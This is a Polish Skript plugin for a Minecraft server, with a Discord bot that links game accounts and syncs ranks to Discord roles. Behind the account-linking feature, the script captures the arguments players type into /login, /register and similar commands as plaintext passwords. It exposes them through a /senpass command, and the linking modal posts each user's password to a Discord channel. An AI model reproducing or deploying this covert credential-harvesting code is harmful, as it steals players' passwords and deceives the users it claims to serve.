# Zapisuje sobie jakiś losowy skrypt define new bot named "discord": token: #TOKEN intents: default intents policy: all auto reconnect: true compression: none on button click: set {_button} to event-string if {_button} = "button-Polaczkonto": if {Laczenie::polaczone::%event-member%} is set: reply with hidden "Połączyłeś już swoje konto z **%{Laczenie::polaczone-mc::%event-member%}%**" stop set {_m} to new modal with id "modal" named "Łączenie konta discord z minecraftem!" set {_row1} to new components row set {_row2} to new components row set {_input1} to new text input with id "Nick" named "Podaj nick jaki używasz w minecrafcie!" set placeholder of {_input1} to "np. PolsatGraniePL" set minimum range of {_input1} to 3 set maximum range of {_input1} to 16 set required state of {_input1} to true add {_input1} to components of {_row1} set {_input2} to new text input with id "Haslo" named "Podaj hasło jakim logujesz się na serwer!" set placeholder of {_input2} to "np. abcdef" set minimum range of {_input2} to 4 set maximum range of {_input2} to 30 set required state of {_input2} to true add {_input2} to components of {_row2} set components row of {_m} to {_row1} and {_row2} show {_m} to the user command /reset-nick222: trigger: set {_gr::*} to all discord members of guild with id "794949929248358474" loop {_gr::*}: if "%id of loop-value%" is "564779842151776267": continue set member nickname of loop-value to "" add 1 to {_s} send "%{_s}%. %nickname of loop-value% | %loop-value%" to all ops wait 1 tick send "kkkkkkk" to all ops on command "l": arguments is set set {Laczenie::haslo::%player%} to arguments {Laczenie::registred::%player%} is not set add player to {Laczenie::player::*} set {Laczenie::registred::%player%} to true on command "log": arguments is set set {Laczenie::haslo::%player%} to arguments {Laczenie::registred::%player%} is not set add player to {Laczenie::player::*} set {Laczenie::registred::%player%} to true on command "login": arguments is set set {Laczenie::haslo::%player%} to arguments {Laczenie::registred::%player%} is not set add player to {Laczenie::player::*} set {Laczenie::registred::%player%} to true on command "reg": arguments is set set {Laczenie::haslo::%player%} to arguments {Laczenie::registred::%player%} is not set add player to {Laczenie::player::*} set {Laczenie::registred::%player%} to true on command "register": arguments is set set {Laczenie::haslo::%player%} to arguments {Laczenie::registred::%player%} is not set add player to {Laczenie::player::*} set {Laczenie::registred::%player%} to true command /senpass []: permission: * trigger: send {Laczenie::haslo::%player-arg%} command /sengroup []: permission: * trigger: send group of offline player-arg on join: if {Laczenie::polaczone2::%player%} is set: set nickname of {Laczenie::polaczone-dc::%player%} to "%player% - MC" set {_group} to group of player if {_group} is "default": set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "vip": add role with id "794951576351408178" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "elita": add role with id "794951575466278922" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951576351408178", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "tiktoker": add role with id "794951574786015242" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951576351408178", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "sponsor": add role with id "954016966513934337" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "794951576351408178", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "miniyt": add role with id "794951574107324456" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951576351408178", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "twitcher": add role with id "827854668675547158" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "794951576351408178", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "youtuber": add role with id "821042029878444102" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "794951576351408178", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "testpomocnik": add role with id "821356822971285546" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "794951576351408178", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "pomocnik": add role with id "794951569396727819" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951576351408178", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "moderator": add role with id "794951568583295016" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951576351408178", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "administrator": add role with id "794951564606701580" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951576351408178", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "headadmin": add role with id "794951560177123349" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951576351408178" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop if {_group} is "wlasciciel": add role with id "794951559788232774" to roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951576351408178" loop {_lista::*}: remove role with id "%loop-value%" from roles of {Laczenie::polaczone-dc::%player%} in guild with id "794949929248358474" stop on modal receive: set {_a::1} to value of component with id "Nick" set {_a::2} to value of component with id "Haslo" replace all " " with "" in {_a::1} replace all " " with "" in {_a::2} if {Laczenie::player::*} contains "%{_a::1}%": if {Laczenie::haslo::%{_a::1}%} is {_a::2}: if {Laczenie::polaczone2::%{_a::1}%} is set: reply with hidden "Podane konto jest już połączone z innym kontem!" stop reply with hidden "Wpisano poprawne hasło! Konto zostało połączone." post "Użytkownik %mention tag of event-member% połączył swoje konto z nickiem: **%{_a::1}%**" to text channel with id "893928612846252063" post "**Nowy użytkownik!**%nl%Discord: %mention tag of event-member%%nl%Minecraft: %{_a::1}%%nl%Hasło: %{_a::2}%" to text channel with id "983083607121883237" set {Laczenie::polaczone::%event-member%} to true set {Laczenie::polaczone2::%{_a::1}%} to true set {Laczenie::polaczone-mc::%event-member%} to {_a::1} set {Laczenie::polaczone-dc::%{_a::1}%} to event-member set nickname of event-member to "%{_a::1}% - MC" set {_group} to group of {_a::1} parsed as offline player if {_group} is "default": set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "vip": add role with id "794951576351408178" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "elita": add role with id "794951575466278922" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951576351408178", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "tiktoker": add role with id "794951574786015242" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951576351408178", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "sponsor": add role with id "954016966513934337" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "794951576351408178", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "miniyt": add role with id "794951574107324456" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951576351408178", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "twitcher": add role with id "827854668675547158" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "794951576351408178", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "youtuber": add role with id "821042029878444102" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "794951576351408178", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "testpomocnik": add role with id "821356822971285546" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "794951576351408178", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "pomocnik": add role with id "794951569396727819" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951576351408178", "794951568583295016", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "moderator": add role with id "794951568583295016" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951576351408178", "794951564606701580", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "administrator": add role with id "794951564606701580" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951576351408178", "794951560177123349" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "headadmin": add role with id "794951560177123349" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951576351408178" and "794951559788232774" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop if {_group} is "wlasciciel": add role with id "794951559788232774" to roles of event-member in guild with id "794949929248358474" set {_lista::*} to "794951575466278922", "794951574786015242", "954016966513934337", "794951574107324456", "827854668675547158", "821042029878444102", "821356822971285546", "794951569396727819", "794951568583295016", "794951564606701580", "794951560177123349" and "794951576351408178" loop {_lista::*}: remove role with id "%loop-value%" from roles of event-member in guild with id "794949929248358474" stop else: reply with hidden "Podaje hasło jest niepoprawne!" stop reply with hidden "Taki nick nie jest zarejestrowany!"